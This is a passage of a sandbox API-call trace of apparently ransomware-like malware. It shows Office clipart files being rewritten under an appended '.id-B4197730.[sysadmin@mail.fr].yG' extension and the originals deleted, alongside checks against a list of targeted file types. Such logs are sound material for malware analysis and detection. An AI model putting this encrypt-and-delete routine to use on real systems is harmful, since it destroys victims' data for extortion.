	[0177.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220
	[0177.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0177.080] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.080] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.082] GetLastError () returned 0x0
	[0177.082] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3734, lpOverlapped=0x0) returned 1
	[0177.241] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3740, lpOverlapped=0x0) returned 1
	[0177.242] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.242] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.242] SetEndOfFile (hFile=0x530) returned 1
	[0177.249] CloseHandle (hObject=0x530) returned 1
	[0177.249] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.249] SetEndOfFile (hFile=0x42c) returned 1
	[0177.253] CloseHandle (hObject=0x42c) returned 1
	[0177.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1
	[0177.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0177.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0177.258] lstrlenW (lpString=".doc") returned 4
	[0177.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.258] lstrlenW (lpString=".docx") returned 5
	[0177.258] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.258] lstrlenW (lpString=".pdf") returned 4
	[0177.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.258] lstrlenW (lpString=".xls") returned 4
	[0177.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.258] lstrlenW (lpString=".xlsx") returned 5
	[0177.258] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.258] lstrlenW (lpString=".ppt") returned 4
	[0177.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0177.258] lstrlenW (lpString=".zip") returned 4
	[0177.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.258] lstrlenW (lpString=".rar") returned 4
	[0177.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.259] lstrlenW (lpString=".bz2") returned 4
	[0177.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.259] lstrlenW (lpString=".7z") returned 3
	[0177.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0177.259] lstrlenW (lpString=".dbf") returned 4
	[0177.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0177.259] lstrlenW (lpString=".1cd") returned 4
	[0177.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0177.259] lstrlenW (lpString=".jpg") returned 4
	[0177.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.260] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=16052) returned 1
	[0177.260] CloseHandle (hObject=0x42c) returned 1
	[0177.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220
	[0177.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0177.261] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.262] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.263] GetLastError () returned 0x0
	[0177.263] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3eb4, lpOverlapped=0x0) returned 1
	[0177.321] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3ec0, lpOverlapped=0x0) returned 1
	[0177.327] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.327] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.327] SetEndOfFile (hFile=0x530) returned 1
	[0177.327] CloseHandle (hObject=0x530) returned 1
	[0177.327] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.327] SetEndOfFile (hFile=0x42c) returned 1
	[0177.330] CloseHandle (hObject=0x42c) returned 1
	[0177.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1
	[0177.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0177.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0177.332] lstrlenW (lpString=".doc") returned 4
	[0177.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.332] lstrlenW (lpString=".docx") returned 5
	[0177.332] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.332] lstrlenW (lpString=".pdf") returned 4
	[0177.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.332] lstrlenW (lpString=".xls") returned 4
	[0177.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.332] lstrlenW (lpString=".xlsx") returned 5
	[0177.333] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.333] lstrlenW (lpString=".ppt") returned 4
	[0177.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0177.333] lstrlenW (lpString=".zip") returned 4
	[0177.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.333] lstrlenW (lpString=".rar") returned 4
	[0177.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.333] lstrlenW (lpString=".bz2") returned 4
	[0177.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.333] lstrlenW (lpString=".7z") returned 3
	[0177.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0177.333] lstrlenW (lpString=".dbf") returned 4
	[0177.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0177.333] lstrlenW (lpString=".1cd") returned 4
	[0177.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0177.333] lstrlenW (lpString=".jpg") returned 4
	[0177.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.334] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=10880) returned 1
	[0177.334] CloseHandle (hObject=0x42c) returned 1
	[0177.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 0x220
	[0177.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0177.335] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.335] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.336] GetLastError () returned 0x0
	[0177.336] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2a80, lpOverlapped=0x0) returned 1
	[0177.360] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2a90, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2a90, lpOverlapped=0x0) returned 1
	[0177.361] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.361] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.361] SetEndOfFile (hFile=0x530) returned 1
	[0177.362] CloseHandle (hObject=0x530) returned 1
	[0177.362] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.362] SetEndOfFile (hFile=0x42c) returned 1
	[0177.365] CloseHandle (hObject=0x42c) returned 1
	[0177.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf")) returned 1
	[0177.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0177.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0177.366] lstrlenW (lpString=".doc") returned 4
	[0177.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.366] lstrlenW (lpString=".docx") returned 5
	[0177.367] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0177.367] lstrlenW (lpString=".pdf") returned 4
	[0177.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.367] lstrlenW (lpString=".xls") returned 4
	[0177.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.367] lstrlenW (lpString=".xlsx") returned 5
	[0177.367] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0177.367] lstrlenW (lpString=".ppt") returned 4
	[0177.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0177.367] lstrlenW (lpString=".zip") returned 4
	[0177.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.367] lstrlenW (lpString=".rar") returned 4
	[0177.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.367] lstrlenW (lpString=".bz2") returned 4
	[0177.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.367] lstrlenW (lpString=".7z") returned 3
	[0177.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0177.367] lstrlenW (lpString=".dbf") returned 4
	[0177.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0177.367] lstrlenW (lpString=".1cd") returned 4
	[0177.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF") returned 68
	[0177.368] lstrlenW (lpString=".jpg") returned 4
	[0177.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.368] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3696) returned 1
	[0177.368] CloseHandle (hObject=0x42c) returned 1
	[0177.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220
	[0177.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0177.369] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.369] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.370] GetLastError () returned 0x0
	[0177.370] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xe70, lpOverlapped=0x0) returned 1
	[0177.412] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xe80, lpOverlapped=0x0) returned 1
	[0177.413] ReadFile (in: hFile=0x42c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.413] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.413] SetEndOfFile (hFile=0x530) returned 1
	[0177.415] CloseHandle (hObject=0x530) returned 1
	[0177.418] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.418] SetEndOfFile (hFile=0x42c) returned 1
	[0177.423] CloseHandle (hObject=0x42c) returned 1
	[0177.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1
	[0177.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0177.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0177.428] lstrlenW (lpString=".doc") returned 4
	[0177.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.428] lstrlenW (lpString=".docx") returned 5
	[0177.428] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0177.429] lstrlenW (lpString=".pdf") returned 4
	[0177.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.429] lstrlenW (lpString=".xls") returned 4
	[0177.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.429] lstrlenW (lpString=".xlsx") returned 5
	[0177.429] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0177.429] lstrlenW (lpString=".ppt") returned 4
	[0177.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0177.429] lstrlenW (lpString=".zip") returned 4
	[0177.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.429] lstrlenW (lpString=".rar") returned 4
	[0177.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.429] lstrlenW (lpString=".bz2") returned 4
	[0177.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.429] lstrlenW (lpString=".7z") returned 3
	[0177.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0177.429] lstrlenW (lpString=".dbf") returned 4
	[0177.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0177.429] lstrlenW (lpString=".1cd") returned 4
	[0177.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0177.429] lstrlenW (lpString=".jpg") returned 4
	[0177.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.431] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=6340) returned 1
	[0177.431] CloseHandle (hObject=0x2a8) returned 1
	[0177.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220
	[0177.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0177.433] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.433] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.434] GetLastError () returned 0x0
	[0177.434] ReadFile (in: hFile=0x2a8, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x18c4, lpOverlapped=0x0) returned 1
	[0177.450] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x18d0, lpOverlapped=0x0) returned 1
